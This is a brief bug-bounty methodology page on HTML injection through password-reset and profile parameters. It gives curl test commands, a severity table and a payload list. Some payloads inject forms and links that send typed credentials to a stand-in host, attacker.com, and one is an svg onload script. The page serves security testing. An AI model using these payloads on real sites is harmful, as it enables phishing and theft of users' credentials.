HTML Injection

Objective

Inject HTML via password reset and other reflected parameters to phish or steal tokens.

Attribution: Methodology from KathanP19/HowToHunt — HTML_Injection. Licensed GPL-3.0.

Testing Methodology

# Password reset page HTML injection
curl "https://target.com/reset?email=<h1>test</h1>"
curl "https://target.com/reset?email=<form action=//attacker.com><input name=pass>"

# Test also: username, name, message params
curl "https://target.com/profile?name=<svg onload=alert(1)>"

Payloads:

<h1>Injected</h1>
<form action="https://attacker.com/log"><input name="email"><input type="submit">
<a href="https://attacker.com">Click here to reset</a>

What Constitutes a Finding

Condition	Severity
HTML injection leads to form hijack/phishing	High (P2)
Reflected HTML without sanitization	Medium (P3)

References

• HowToHunt — HTML Injection